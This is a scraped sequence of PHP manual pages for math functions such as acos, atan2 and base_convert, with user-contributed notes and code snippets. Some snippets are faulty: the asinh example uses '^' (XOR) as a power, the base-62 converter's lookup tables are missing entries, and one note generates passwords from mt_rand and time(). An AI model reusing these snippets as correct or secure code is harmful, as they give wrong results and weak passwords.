alex.khimich.org 17-Oct-2013 04:58
Few ways to convert values to negative
<?php

// Multiplying by "-1"
$v = -1 * abs($v);

// Using ternary operator
$v = $v <= 0 ? $v : -$v;

?>
svein dot tjonndal at gmail dot com 25-May-2011 09:44
If you don't have/want GMP and are working with large numbers/currencies:

<?php
function mb_abs($number)
{
  return str_replace('-','',$number);
}
?>

No need to worry about encoding, as your numbers should all be basic (ANSI) strings.
Ister 17-Jul-2008 10:59
[*EDIT* by danbrown AT php DOT net: Merged user's corrected code with previous post content.]

jeremys indicated one thing - there is no sgn function wich actually seems a bit strange for me. Of course it is as simple as possible, but it is usefull and it is a standard math function needed occasionally.

Well, I have solved this function in a bit different matter:

<?php

function sgn($liczba)
{
    if($liczba>0)
        $liczba=1;
    else if($liczba<0)
        $liczba=-1;
    else if(!is_numeric($liczba))
        $liczba=null;
    else
        $liczba=0;
    return $liczba;
}

?>

The difference is that it returns null when the argument isn't a number at all.


Arc cosine

  • « abs
  • acosh »
  • PHP Manual
  • Math Functions
  • Arc cosine

acos

(PHP 4, PHP 5)

acos — Arc cosine

Description

float acos ( float $arg )

Returns the arc cosine of arg in radians. acos() is the complementary function of cos(), which means that a==cos(acos(a)) for every value of a that is within acos()' range.

Parameters

arg

The argument to process

Return Values

The arc cosine of arg in radians.

See Also

  • cos() - Cosine
  • acosh() - Inverse hyperbolic cosine
  • asin() - Arc sine
  • atan() - Arc tangent

User Contributed Notes

zoltan dot szentesi at nokia dot com 06-Aug-2006 12:29
Wondering what is the use of 'acos' function?

It is essential in games, animations and drawings to determine the location of two objects relating to each other.

To the point: the angle of two vectors is calculated by

           v1X*v2X + v1Y*v2Y
  acos(--------------------------)=angle between two vectors.
               |v1| * |v2|

 |v1| and |v2| are the length of the vectors and calculated using Pithagoras-formula: |v1|=sqrt(v1X*v1X + v1Y*v1Y)

This helped me to calculate and share given space for 'n' amount of objects so that they don't overlap.

Enjoy! :-)


Inverse hyperbolic cosine

  • « acos
  • asin »
  • PHP Manual
  • Math Functions
  • Inverse hyperbolic cosine

acosh

(PHP 4 >= 4.1.0, PHP 5)

acosh — Inverse hyperbolic cosine

Description

float acosh ( float $arg )

Returns the inverse hyperbolic cosine of arg, i.e. the value whose hyperbolic cosine is arg.

Parameters

arg

The value to process

Return Values

The inverse hyperbolic cosine of arg

Changelog

Version | Description
5.3.0 | This function is now available on all platforms

See Also

  • cosh() - Hyperbolic cosine
  • acos() - Arc cosine
  • asinh() - Inverse hyperbolic sine
  • atanh() - Inverse hyperbolic tangent

User Contributed Notes

There are no user contributed notes for this page.


Arc sine

  • « acosh
  • asinh »
  • PHP Manual
  • Math Functions
  • Arc sine

asin

(PHP 4, PHP 5)

asin — Arc sine

Description

float asin ( float $arg )

Returns the arc sine of arg in radians. asin() is the complementary function of sin(), which means that a==sin(asin(a)) for every value of a that is within asin()'s range.

Parameters

arg

The argument to process

Return Values

The arc sine of arg in radians

See Also

  • sin() - Sine
  • asinh() - Inverse hyperbolic sine
  • acos() - Arc cosine
  • atan() - Arc tangent

User Contributed Notes

There are no user contributed notes for this page.


Inverse hyperbolic sine

  • « asin
  • atan2 »
  • PHP Manual
  • Math Functions
  • Inverse hyperbolic sine

asinh

(PHP 4 >= 4.1.0, PHP 5)

asinh — Inverse hyperbolic sine

Description

float asinh ( float $arg )

Returns the inverse hyperbolic sine of arg, i.e. the value whose hyperbolic sine is arg.

Parameters

arg

The argument to process

Return Values

The inverse hyperbolic sine of arg

Changelog

Version | Description
5.3.0 | This function is now available on all platforms

See Also

  • sinh() - Hyperbolic sine
  • asin() - Arc sine
  • acosh() - Inverse hyperbolic cosine
  • atanh() - Inverse hyperbolic tangent

User Contributed Notes

ape_cwb at yahoo dot com dot br 15-Nov-2007 02:40
The correct implementation of asinh(x) for Windows plataform is:

-------------------------------------------------------
function asinh($x)
{
        return ln($x + sqrt(1 + pow($x, 2)));
}

function ln($x)
{
     return $x = log($x)/log(M_E);
}
--------------------------------------------------------

The worksheet above includes a comparation about the native asinh(x) and the implemented version using LN and LOG (like Snoyes posted on 27-Dec-2005 07:42)

http://www.mavadesign.com.br/allan/asinh(x).xls

This implementation using LN, give THE SAME results that function asinh(x) linux native.

Allan Patrick Engel
Curitiba - Paraná - Brasil
snoyes at gmail dot com 27-Dec-2005 04:42
asinh for windows:

The definition for asinh is asinh(z) = log(z + sqrt(z^2 + 1))

The built-in math functions and operators give poor results for small values of z.  The BCMath version produces closer results, but still quite distant if z < 1.  A BCMath version of the log function might help.

if (!function_exists("asinh")) {
    function asinh($z) {
      return log($z + sqrt($z^2 +1));
    }
}

if (!function_exists("bcasinh")) {
    function bcasinh($z) {
      return log(bcadd($z, bcsqrt(bcadd(bcpow($z, 2), 1))));
    }
}


Arc tangent of two variables

  • « asinh
  • atan »
  • PHP Manual
  • Math Functions
  • Arc tangent of two variables

atan2

(PHP 4, PHP 5)

atan2 — Arc tangent of two variables

Description

float atan2 ( float $y , float $x )

This function calculates the arc tangent of the two variables x and y. It is similar to calculating the arc tangent of y / x, except that the signs of both arguments are used to determine the quadrant of the result.

The function returns the result in radians, which is between -PI and PI (inclusive).

Parameters

y

Dividend parameter

x

Divisor parameter

Return Values

The arc tangent of y/x in radians.

See Also

  • atan() - Arc tangent

User Contributed Notes

andyidol at gmail dot com 10-Aug-2010 05:18
This function will return degree by vertex coordinates in general trigonometrical coordinate system where zero is located at position (1, 0), 90' at (0, 1), 180' at (-1, 0) and so on.

<?php

function GetDegree($x, $y)
{
  // we don't want to cause division by zero
  if($x == 0) $x = 1 / 10000;

  $deg = rad2deg(atan(abs($y / $x)));

  if($y >= 0) $deg = $x < 0 ? 180 - $deg : $deg;
  else        $deg = $x < 0 ? 180 + $deg : 360 - $deg;

  return $deg;

}

?>
fred dot beck at rrd dot com 11-Jan-2009 09:39
<?php
/**
 *    Given an origin point of (0,0) and a destination point $x,$y
 *  somewhere on an axis grid, compass() determines the compass
 *  heading(direction) of the destination point from the origin
 *
 *  HOWEVER, atan2(y,x)'s natural compass thinks east is north,
 *
 *  {135}-------{ 90}-------{45}
 *      | +-----[ +y]-----+ |
 *      | |               | |
 *      | |               | |
 *  {180} [-x]  [0,0]  [+x] {0} <--------- North ?
 *      | |               | |
 *      | |               | |
 *      | +-----[ -y]-----+ |
 * {-135}-------{-90}-------{-45}
 *
 *
 *    SO, we simply transpose the (y,x) parameters to atan2(x,y)
 *     which will both rotate(left) and reflect(mirror) the compass.
 *
 *  Which gives us this compass
 *
 *  {-45}-------{ 0 }-------{45}
 *      | +-----[ +y]-----+ |
 *      | |               | |
 *      | |               | |
 *  {-90} [-x]  [0,0]  [+x] {90}
 *      | |               | |
 *      | |               | |
 *      | +-----[ -y]-----+ |
 * {-135}-------{180}-------{135}
 *
 *  FINALLY,` we check if param $x was indeed a negative number,
 *  if so we simply add 360 to the negative angle returned by atan2()
 *
 */
function compass($x,$y)
    {
        if($x==0 AND $y==0){ return 0; } // ...or return 360
        return ($x < 0)
        ? rad2deg(atan2($x,$y))+360      // TRANSPOSED !! y,x params
        : rad2deg(atan2($x,$y));
    }
function polar($x,$y)
    {
        $N = ($y>0)?'N':'';
        $S = ($y<0)?'S':'';
        $E = ($x>0)?'E':'';
        $W = ($x<0)?'W':'';
        return $N.$S.$E.$W;
    }
function show_compass($x,$y)
     {
         return '<BR>'
             .polar($x,$y)
             .' compass( x='.$x.', y='.$y.' )= '
             .number_format(compass($x,$y),3).'&deg';
     }

echo show_compass(0,3);
echo show_compass(.06,3);
echo show_compass(3,3);
echo show_compass(3,.06);
echo show_compass(3,0);
echo show_compass(3,-.06);
echo show_compass(3,-3);
echo show_compass(.06,-3);
echo show_compass(0,-3);
echo show_compass(-.06,-3);
echo show_compass(-3,-3);
echo show_compass(-3,-.06);
echo show_compass(-3,0);
echo show_compass(-3,.06);
echo show_compass(-3,3);
echo show_compass(-.06,3);

/* RENDERS THIS

N compass( x=0, y=3 )= 0 °
NE compass( x=0.06, y=3 )= 1.14576283818 °
NE compass( x=3, y=3 )= 45 °
NE compass( x=3, y=0.06 )= 88.8542371618 °
E compass( x=3, y=0 )= 90 °
SE compass( x=3, y=-0.06 )= 91.1457628382 °
SE compass( x=3, y=-3 )= 135 °
SE compass( x=0.06, y=-3 )= 178.854237162 °
S compass( x=0, y=-3 )= 180 °
SW compass( x=-0.06, y=-3 )= 181.145762838 °
SW compass( x=-3, y=-3 )= 225 °
SW compass( x=-3, y=-0.06 )= 268.854237162 °
W compass( x=-3, y=0 )= 270 °
NW compass( x=-3, y=0.06 )= 271.145762838 °
NW compass( x=-3, y=3 )= 315 °
NW compass( x=-0.06, y=3 )= 358.854237162 °

*/

?>
Monte Shaffer 08-Jun-2007 08:35
Here is a function that will return a new point [Rotate around non-origin pivot point]

(x,y) is current point
(cx,cy) is pivot point to rotate
=a= is angle in degrees

    $_rotation     = 1;      # -1 = counter, 1 = clockwise
    $_precision    = 2;      # two decimal places

function returnRotatedPoint($x,$y,$cx,$cy,$a)
    {
    # http://mathforum.org/library/drmath/view/63184.html
    global $_rotation;     # -1 = counter, 1 = clockwise
    global $_precision;    # two decimal places

            // radius using distance formula
            $r = sqrt(pow(($x-$cx),2)+pow(($y-$cy),2));
            // initial angle in relation to center
            $iA = $_rotation * rad2deg(atan2(($y-$cy),($x-$cx)));

            $nx = number_format($r * cos(deg2rad($_rotation * $a + $iA)),$_precision);
            $ny = number_format($r * sin(deg2rad($_rotation * $a + $iA)),$_precision);

    return array("x"=>$cx+$nx,"y"=>$cy+$ny);
    }
reubs at idsdatanet dot com 23-May-2003 10:01
Just a note:

PHP's atan2 function receives parameters in (y,x) and Excel receives it in (x,y) format. Just in case you are porting formulas across. :)


Arc tangent

  • « atan2
  • atanh »
  • PHP Manual
  • Math Functions
  • Arc tangent

atan

(PHP 4, PHP 5)

atan — Arc tangent

Description

float atan ( float $arg )

Returns the arc tangent of arg in radians. atan() is the complementary function of tan(), which means that a==tan(atan(a)) for every value of a that is within atan()'s range.

Parameters

arg

The argument to process

Return Values

The arc tangent of arg in radians.

See Also

  • tan() - Tangent
  • atanh() - Inverse hyperbolic tangent
  • asin() - Arc sine
  • acos() - Arc cosine

User Contributed Notes

Anonymous 31-Aug-2014 08:38
Contrary to the current description, it should hold y == tan(atan(y)) for ALL  y.
However, x == atan(tan(x)) only holds for those x which are in the range of atan, which are those x with -pi/2 < x < pi/2.

Of course, those equalities are limited by precision. On my machine
tan(atan(1000)) returns 1000.0000000001.
atan(tan(0)) returns 0 (correct).
atan(tan(M_PI)) returns -1.2246467991474E-16 instead of 0.
joelperr at kiwi-interactif dot com 12-Jan-2006 02:12
to obtain the direction of the line, you are better to use the <? atan2((y2-y1)/(x2-x1)) ?> function, since the regular atan function will only return arguments in the half-plane, ie. if y2-y1 and x2-x1 are negative, atan will give you an angle measurement less than 90 degrees, while it really should be  between 180 and 270
darren_wheatley at hotmail dot com 28-Nov-2003 03:24
Arc Tan curve manipulation.

I used this formula to help with increasing and then diminishing return for y given an increasing x for a game.

Ie: Food production (output) is y. Food research is x.

The more research you put into x the more you produce, however after a certain point you get less reward.

 y = atan(x - pi()) + pi()/2;

The + pi()/2 moves it up the y axis so you'd add more if you want it to start higher.

The x - pi() moves it to the right so you'd minus more to move it more.

If you want stretched along the y axis change it to 2 * atan( ...... )

Dunno how useful it is... but it's there.

Daz


Inverse hyperbolic tangent

  • « atan
  • base_convert »
  • PHP Manual
  • Math Functions
  • Inverse hyperbolic tangent

atanh

(PHP 4 >= 4.1.0, PHP 5)

atanh — Inverse hyperbolic tangent

Description

float atanh ( float $arg )

Returns the inverse hyperbolic tangent of arg, i.e. the value whose hyperbolic tangent is arg.

Parameters

arg

The argument to process

Return Values

Inverse hyperbolic tangent of arg

Changelog

Version | Description
5.3.0 | This function is now available on all platforms

See Also

  • tanh() - Hyperbolic tangent
  • atan() - Arc tangent
  • asinh() - Inverse hyperbolic sine
  • acosh() - Inverse hyperbolic cosine

User Contributed Notes

There are no user contributed notes for this page.


Convert a number between arbitrary bases

  • « atanh
  • bindec »
  • PHP Manual
  • Math Functions
  • Convert a number between arbitrary bases

base_convert

(PHP 4, PHP 5)

base_convert — Convert a number between arbitrary bases

Description

string base_convert ( string $number , int $frombase , int $tobase )

Returns a string containing number represented in base tobase. The base in which number is given is specified in frombase. Both frombase and tobase have to be between 2 and 36, inclusive. Digits in numbers with a base higher than 10 will be represented with the letters a-z, with a meaning 10, b meaning 11 and z meaning 35.

Warning

base_convert() may lose precision on large numbers due to properties related to the internal "double" or "float" type used. Please see the Floating point numbers section in the manual for more specific information and limitations.

Parameters

number

The number to convert

frombase

The base number is in

tobase

The base to convert number to

Return Values

number converted to base tobase

Examples

Example #1 base_convert() example

<?php
$hexadecimal = 'A37334';
echo base_convert($hexadecimal, 16, 2);
?>

The above example will output:

101000110111001100110100

See Also

  • intval() - Get the integer value of a variable

User Contributed Notes

ardavies at tiscali dot co dot uk 24-May-2014 08:31
In order to convert base 26 (hexavigesimal) of just alphanumeric characters (A-Z), wthout integers, (as descibed at http://en.wikipedia.org/wiki/Hexavigesimal), I found this to be useful:

function base_convert_alpha(  $str,  $from,  $to  )
{
    $r = range( 'A', 'Z' );
    $clean = str_replace( $r, array_keys($r), $str );
    return base_convert( $clean, $from, $to );
}

echo base_convert_alpha(  "BAC",  26,  10  );

//$clean = 102 which then returns 678
andrew at youritland dot co dot uk 30-Apr-2014 12:49
Example of using base_convert to generate random passwords

function random_password()
{
  $rvalue1 = mt_rand(100,999);
  $rvalue2 = time();
  $rvalue3 = mt_rand(1000,9999);
  $rvalue4 = mt_rand(1,9);
  $rvalue5 = mt_rand(101,109);
  //combine values
  $rvalues = intval(((($rvalue2.$rvalue3) + $rvalue1)*$rvalue4) / $rvalue5);

  //return value in base-35 (will contain chars from '0' to 'z')
  return base_convert($rvalues,10,35);
}

Change the range of rvalue5 to get more or less characters. This setting
will return 8 chars.
Korkman 09-Oct-2013 08:10
A word of warning to those copying the custombase_convert function from Fips: it's buggy. Converting decimal 16 to hex gives "1", should be "10". Do not use.
denik dot od at gmail dot com 07-Jun-2013 11:55
Convert any length bits to HEX:

function bits2hex($bin)
{
   $out = "";
   for($i=0;$i<strlen($bin);$i+=8)
   {
      $byte = substr($bin,$i,8); if( strlen($byte)<8 ) $byte .= str_repeat('0',8-strlen($byte));
      $out .= base_convert($byte,2,16);
   }
   return $out;
}

VARNING! If the last byte is incomplete, it is supplemented with zeros as string!
Clifford dot ct at gmail dot com 07-Aug-2012 11:01
If you use base_convert to convert a large (eg. 80-bit) hexadecimal to base-36, you might observe:

ABCDEF00001234567890 (hexadecimal) => 3O47RE02JZSW0KS8 (base-36) => ABCDEF00001240000000 (hexadecimal)

This is normal and is due to the loss of precision on large numbers.

I have written a string-based function using the built-in BC Math Extension which will overcome this and similar problems.

<?php

function str_baseconvert($str, $frombase=10, $tobase=36) {
    $str = trim($str);
    if (intval($frombase) != 10) {
        $len = strlen($str);
        $q = 0;
        for ($i=0; $i<$len; $i++) {
            $r = base_convert($str[$i], $frombase, 10);
            $q = bcadd(bcmul($q, $frombase), $r);
        }
    }
    else $q = $str;

    if (intval($tobase) != 10) {
        $s = '';
        while (bccomp($q, '0', 0) > 0) {
            $r = intval(bcmod($q, $tobase));
            $s = base_convert($r, 10, $tobase) . $s;
            $q = bcdiv($q, $tobase, 0);
        }
    }
    else $s = $q;

    return $s;
}

?>

Typical use-cases:
1.  Convert a large arbitrary precision number to base-36.
2.  Convert a 32-char hexadecimal UUID (128-bit) to a 25-char base-36 unique key, and vice versa.

Examples:

<?php
$b16 = 'ABCDEF00001234567890';
$b36 = str_baseconvert($b16, 16, 36);
echo ("$b16 (hexadecimal) = $b36 (base-36) \\n");

$uuid = 'ABCDEF01234567890123456789ABCDEF';
$ukey = str_baseconvert($uuid, 16, 36);
echo ("$uuid (hexadecimal) = $ukey (base-36) \\n");
?>

ABCDEF00001234567890 (hexadecimal) = 3o47re02jzqisvio (base-36)
ABCDEF01234567890123456789ABCDEF (hexadecimal) = a65xa07491kf5zyfpvbo76g33 (base-36)
Baji dot Panchumarti at gmail dot com 05-Jul-2012 04:50
Extending base_convert to bases above 36, up to base 62.

<?php
function base_convert_x( $_number='', $_frBase=10, $_toBase=62 ) {

#   Today's Date - C74 - convert a string (+ve integer) from any arbitrary base to any arbitrary base, up to base 62, using  0-9,A-Z,a-z
#
#   Usage :   echo base_convert_x( 123456789012345, 10, 32 );

  $_10to62 =  array(
    '0'  => '0', '1'  => '1', '2'  => '2', '3'  => '3', '4'  => '4', '5'  => '5', '6'  => '6', '7'  => '7', '8'  => '8', '9'  => '9', '00' => '0', '01' => '1', '02' => '2', '03' => '3', '04' => '4', '05' => '5', '06' => '6', '07' => '7',
    '10' => 'A', '11' => 'B', '12' => 'C', '13' => 'D', '14' => 'E', '15' => 'F', '16' => 'G', '17' => 'H', '18' => 'I', '19' => 'J', '20' => 'K', '21' => 'L', '22' => 'M', '23' => 'N', '24' => 'O', '25' => 'P', '26' => 'Q', '27' => 'R',
    '30' => 'U', '31' => 'V', '32' => 'W', '33' => 'X', '34' => 'Y', '35' => 'Z', '36' => 'a', '37' => 'b', '38' => 'c', '39' => 'd', '40' => 'e', '41' => 'f', '42' => 'g', '43' => 'h', '44' => 'i', '45' => 'j', '46' => 'k', '47' => 'l',
    '50' => 'o', '51' => 'p', '52' => 'q', '53' => 'r', '54' => 's', '55' => 't', '56' => 'u', '57' => 'v', '58' => 'w', '59' => 'x', '60' => 'y', '61' => 'z'  );

  $_62to10 =  array(
    '0' => '00', '1' => '01', '2' => '02', '3' => '03', '4' => '04', '5' => '05', '6' => '06', '7' => '07', '8' => '08', '9' => '09', 'A' => '10', 'B' => '11', 'C' => '12', 'D' => '13', 'E' => '14', 'F' => '15', 'G' => '16', 'H' => '17',
    'K' => '20', 'L' => '21', 'M' => '22', 'N' => '23', 'O' => '24', 'P' => '25', 'Q' => '26', 'R' => '27', 'S' => '28', 'T' => '29', 'U' => '30', 'V' => '31', 'W' => '32', 'X' => '33', 'Y' => '34', 'Z' => '35', 'a' => '36', 'b' => '37',
    'e' => '40', 'f' => '41', 'g' => '42', 'h' => '43', 'i' => '44', 'j' => '45', 'k' => '46', 'l' => '47', 'm' => '48', 'n' => '49', 'o' => '50', 'p' => '51', 'q' => '52', 'r' => '53', 's' => '54', 't' => '55', 'u' => '56', 'v' => '57',
    'y' => '60', 'z' => '61' );

#   ---- First convert from frBase to base-10

    $_in_b10        =   0;
    $_pwr_of_frB    =   1;                        #  power of from base, eg. 1, 8, 64, 512
    $_chars         =   str_split( $_number );    #  split input # into chars
    $_str_len       =   strlen( $_number );
    $_pos           =   0;

    while     (  $_pos++ < $_str_len )  {
        $_char          =   $_chars[$_str_len - $_pos];
        $_in_b10       +=   (((int) $_62to10[$_char] ) * $_pwr_of_frB);
        $_pwr_of_frB   *=   $_frBase;
    }

#   ---- Now convert from base-10 to toBase

    $_dividend      =   (int)   $_in_b10;         #  name dividend easier to follow below
    $_in_toB        =   '';                       #  number string in toBase

    while     ( $_dividend > 0 )        {

        $_quotient  =   (int) ( $_dividend / $_toBase );    #  eg. 789 / 62  =  12  ( C in base 62 )
        $_remainder =   ''  .  ( $_dividend % $_toBase );   #  789 % 62  =  45  ( j in base 62 )
        $_in_toB    =   $_10to62[$_remainder] . $_in_toB;   #  789  (in base 10)  =    Cj  (in base 62)
        $_dividend  =   $_quotient;                         #  new dividend is the quotient from base division
    }

    if  ( $_in_toB  ==  '' )
          $_in_toB  =   '0';

    return    $_in_toB;                           #  base $_toBase string
}
#   --------- examples -------
    echo base_convert_x( '3456789ABCDEF', 16, 10 ) . "\n";    #  920735923817967
    echo   base_convert( '3456789ABCDEF', 16, 10 ) . "\n";    #  920735923817967
?>
holdoffhunger at gmail dot com 24-Jun-2012 09:29
The function 'base_convert' looks like it would be perfect for converting a hexadecimal number to a binary number.  That code should look like :

<?php

            // Author: holdoffhunger@gmail.com

    $hexadecimal_number = "1234567890aBcDeF";
    $binary_number = base_convert($hexadecimal_number, 16, 2);
    print($binary_number);

?>

However, if the hexadecimal number is too large (more than ~40 characters), the result is always a string of zeros as the binary result.  So, I wrote some simple code to specifically handle base conversion with Hexadecimal-to-Binary in PHP :

<?php

            // Author: holdoffhunger@gmail.com

        // Example Hexadecimal
        // ---------------------------------------------

    $hexadecimal_number = "1234567890aBcDeF";

        // Format Hexadecimal
        // ---------------------------------------------

    $hexadecimal_to_convert_to_binary_testable = strtolower($hexadecimal_number);

        // Get String Length of Hexadecimal
        // ---------------------------------------------

    $length_of_text_to_convert_to_binary = strlen($hexadecimal_number);

        // Initialize Result Variable
        // ---------------------------------------------

    $results_of_hexadecimal_to_binary_conversion = "";

        // Parse Hexadecimal String
        // ---------------------------------------------

    for($i = 0; $i < $length_of_text_to_convert_to_binary; $i++)
    {
        $current_char_of_hexadecimal_for_conversion = $hexadecimal_to_convert_to_binary_testable[$i];

        switch($current_char_of_hexadecimal_for_conversion)
        {
            case '0':
                $results_of_hexadecimal_to_binary_conversion .= "0000";
                break;

            case '1':
                $results_of_hexadecimal_to_binary_conversion .= "0001";
                break;

            case '2':
                $results_of_hexadecimal_to_binary_conversion .= "0010";
                break;

            case '3':
                $results_of_hexadecimal_to_binary_conversion .= "0011";
                break;

            case '4':
                $results_of_hexadecimal_to_binary_conversion .= "0100";
                break;

            case '5':
                $results_of_hexadecimal_to_binary_conversion .= "0101";
                break;

            case '6':
                $results_of_hexadecimal_to_binary_conversion .= "0110";
                break;

            case '7':
                $results_of_hexadecimal_to_binary_conversion .= "0111";
                break;

            case '8':
                $results_of_hexadecimal_to_binary_conversion .= "1000";
                break;

            case '9':
                $results_of_hexadecimal_to_binary_conversion .= "1001";
                break;

            case 'a':
                $results_of_hexadecimal_to_binary_conversion .= "1010";
                break;

            case 'b':
                $results_of_hexadecimal_to_binary_conversion .= "1011";
                break;

            case 'c':
                $results_of_hexadecimal_to_binary_conversion .= "1100";
                break;

            case 'd':
                $results_of_hexadecimal_to_binary_conversion .= "1101";
                break;

            case 'e':
                $results_of_hexadecimal_to_binary_conversion .= "1110";
                break;

            case 'f':
                $results_of_hexadecimal_to_binary_conversion .= "1111";
                break;
        }
    }

        // Print Results
        // ---------------------------------------------

    print($results_of_hexadecimal_to_binary_conversion);

        // Output: (linebreak doesn't appear in results)
    // 00010010001101000101011001111000
    // 10010000101010111100110111101111

?>
PHPCoder at niconet2k dot com 17-Nov-2011 07:45
Convert an arbitrarily large number from any base to any base.

string convBase(string $numberInput, string $fromBaseInput, string $toBaseInput)
$numberInput number to convert as a string
$fromBaseInput base of the number to convert as a string
$toBaseInput base the number should be converted to as a string
examples for $fromBaseInput and $toBaseInput
'0123456789ABCDEF' for Hexadecimal (Base16)
'0123456789' for Decimal (Base10)
'01234567' for Octal (Base8)
'01' for Binary (Base2)
You can really put in whatever you want and the first character is the 0.
Examples:

<?php
convBase('123', '0123456789', '01234567');
//Convert '123' from decimal (base10) to octal (base8).
//result: 173

convBase('70B1D707EAC2EDF4C6389F440C7294B51FFF57BB', '0123456789ABCDEF', '01');
//Convert '70B1D707EAC2EDF4C6389F440C7294B51FFF57BB' from hexadecimal (base16) to binary (base2).
//result:
//111000010110001110101110000011111101010110000101110
//110111110100110001100011100010011111010001000000110
//001110010100101001011010100011111111111110101011110
//111011

convBase('1324523453243154324542341524315432113200203012', '012345', '0123456789ABCDEF');
//Convert '1324523453243154324542341524315432113200203012' from senary (base6) to hexadecimal (base16).
//result: 1F9881BAD10454A8C23A838EF00F50

convBase('355927353784509896715106760','0123456789','Christopher');
//Convert '355927353784509896715106760' from decimal (base10) to undecimal (base11) using "Christopher" as the numbers.
//result: iihtspiphoeCrCeshhorsrrtrh

convBase('1C238Ab97132aAC84B72','0123456789aAbBcCdD', '~!@#$%^&*()');
//Convert'1C238Ab97132aAC84B72' from octodecimal (base18) using '0123456789aAbBcCdD' as the numbers to undecimal (base11) using '~!@#$%^&*()' as the numbers.
//result: !%~!!*&!~^!!&(&!~^@#@@@&

function convBase($numberInput, $fromBaseInput, $toBaseInput)
{
    if ($fromBaseInput==$toBaseInput) return $numberInput;
    $fromBase = str_split($fromBaseInput,1);
    $toBase = str_split($toBaseInput,1);
    $number = str_split($numberInput,1);
    $fromLen=strlen($fromBaseInput);
    $toLen=strlen($toBaseInput);
    $numberLen=strlen($numberInput);
    $retval='';
    if ($toBaseInput == '0123456789')
    {
        $retval=0;
        for ($i = 1;$i <= $numberLen; $i++)
            $retval = bcadd($retval, bcmul(array_search($number[$i-1], $fromBase),bcpow($fromLen,$numberLen-$i)));
        return $retval;
    }
    if ($fromBaseInput != '0123456789')
        $base10=convBase($numberInput, $fromBaseInput, '0123456789');
    else
        $base10 = $numberInput;
    if ($base10<strlen($toBaseInput))
        return $toBase[$base10];
    while($base10 != '0')
    {
        $retval = $toBase[bcmod($base10,$toLen)].$retval;
        $base10 = bcdiv($base10,$toLen,0);
    }
    return $retval;
}
?>
bpds 30-Sep-2011 02:47
A simple function to convert an int to any base.

<?php
function intToAlphaBaseN($n,$baseArray) {
    $l=count($baseArray);
    $s = '';
    for ($i = 1; $n >= 0 && $i < 10; $i++) {
        $s =  $baseArray[($n % pow($l, $i) / pow($l, $i - 1))].$s;
        $n -= pow($l, $i);
    }
    return $s;
}

$alpha=array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z');
$r=rand(0, 99999999999);
echo(intToAlphaBaseN($r,$alpha));
?>
JR 16-Aug-2011 01:19
Short arabic2roman conveter:

<?php
function rome($N){
        $c='IVXLCDM';
        for($a=5,$b=$s='';$N;$b++,$a^=7)
                for($o=$N%$a,$N=$N/$a^0;$o--;$s=$c[$o>2?$b+$N-($N&=-2)+$o=1:$b].$s);
        return $s;
}
?>

And it works :)
bryan at bryanruiz dot com 03-Feb-2011 12:11
A RFC 4648 Compliant Base32 encode.  Send me an email if you end up making this thing more efficient with bitwise operations and whatever else.

<?php

/**
 * Encode in Base32 based on RFC 4648.
 * Requires 20% more space than base64
 * Great for case-insensitive filesystems like Windows and URL's  (except for = char which can be excluded using the pad option for urls)
 *
 * @package default
 * @author Bryan Ruiz
 **/
class Base32 {

   private static $map = array(
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', //  7
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', // 15
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', // 23
        'Y', 'Z', '2', '3', '4', '5', '6', '7', // 31
        '='  // padding char
    );

   private static $flippedMap = array(
        'A'=>'0', 'B'=>'1', 'C'=>'2', 'D'=>'3', 'E'=>'4', 'F'=>'5', 'G'=>'6', 'H'=>'7',
        'I'=>'8', 'J'=>'9', 'K'=>'10', 'L'=>'11', 'M'=>'12', 'N'=>'13', 'O'=>'14', 'P'=>'15',
        'Q'=>'16', 'R'=>'17', 'S'=>'18', 'T'=>'19', 'U'=>'20', 'V'=>'21', 'W'=>'22', 'X'=>'23',
        'Y'=>'24', 'Z'=>'25', '2'=>'26', '3'=>'27', '4'=>'28', '5'=>'29', '6'=>'30', '7'=>'31'
    );

    /**
     *    Use padding false when encoding for urls
     *
     * @return base32 encoded string
     * @author Bryan Ruiz
     **/
    public static function encode($input, $padding = true) {
        if(empty($input)) return "";
        $input = str_split($input);
        $binaryString = "";
        for($i = 0; $i < count($input); $i++) {
            $binaryString .= str_pad(base_convert(ord($input[$i]), 10, 2), 8, '0', STR_PAD_LEFT);
        }
        $fiveBitBinaryArray = str_split($binaryString, 5);
        $base32 = "";
        $i=0;
        while($i < count($fiveBitBinaryArray)) {
            $base32 .= self::$map[base_convert(str_pad($fiveBitBinaryArray[$i], 5,'0'), 2, 10)];
            $i++;
        }
        if($padding && ($x = strlen($binaryString) % 40) != 0) {
            if($x == 8) $base32 .= str_repeat(self::$map[32], 6);
            else if($x == 16) $base32 .= str_repeat(self::$map[32], 4);
            else if($x == 24) $base32 .= str_repeat(self::$map[32], 3);
            else if($x == 32) $base32 .= self::$map[32];
        }
        return $base32;
    }

    public static function decode($input) {
        if(empty($input)) return;
        $paddingCharCount = substr_count($input, self::$map[32]);
        $allowedValues = array(6,4,3,1,0);
        if(!in_array($paddingCharCount, $allowedValues)) return false;
        for($i=0; $i<4; $i++){
            if($paddingCharCount == $allowedValues[$i] &&
                substr($input, -($allowedValues[$i])) != str_repeat(self::$map[32], $allowedValues[$i])) return false;
        }
        $input = str_replace('=','', $input);
        $input = str_split($input);
        $binaryString = "";
        for($i=0; $i < count($input); $i = $i+8) {
            $x = "";
            if(!in_array($input[$i], self::$map)) return false;
            for($j=0; $j < 8; $j++) {
                $x .= str_pad(base_convert(@self::$flippedMap[@$input[$i + $j]], 10, 2), 5, '0', STR_PAD_LEFT);
            }
            $eightBits = str_split($x, 8);
            for($z = 0; $z < count($eightBits); $z++) {
                $binaryString .= ( ($y = chr(base_convert($eightBits[$z], 2, 10))) || ord($y) == 48 ) ? $y:"";
            }
        }
        return $binaryString;
    }
}
francesco[at]paladinux.net 23-Sep-2010 12:30
base convert is limited on standard base invented.
In some case, if you want to invented some translate code (for authorizion code 4 example) , I hope is usefull this example of base_convert-AS from decimal in 65imal base for a speedCode.
Some more specifical: you can transform using a db
$speedCodeDEC            = $idAziendaMittente.$idAziendaDestinatario.$idDDT ;

//$speedCodeDEC = 3000;

//
$BASECODE = array();
$BASECODE['items'] = 65;
$BASECODE[1]='1';
$BASECODE[2]='2';
$BASECODE[3]='3';
$BASECODE[4]='4';
....
$BASECODE[10]='a';
$BASECODE[11]='b';
$BASECODE[12]='c';
...
$BASECODE[36]='A';
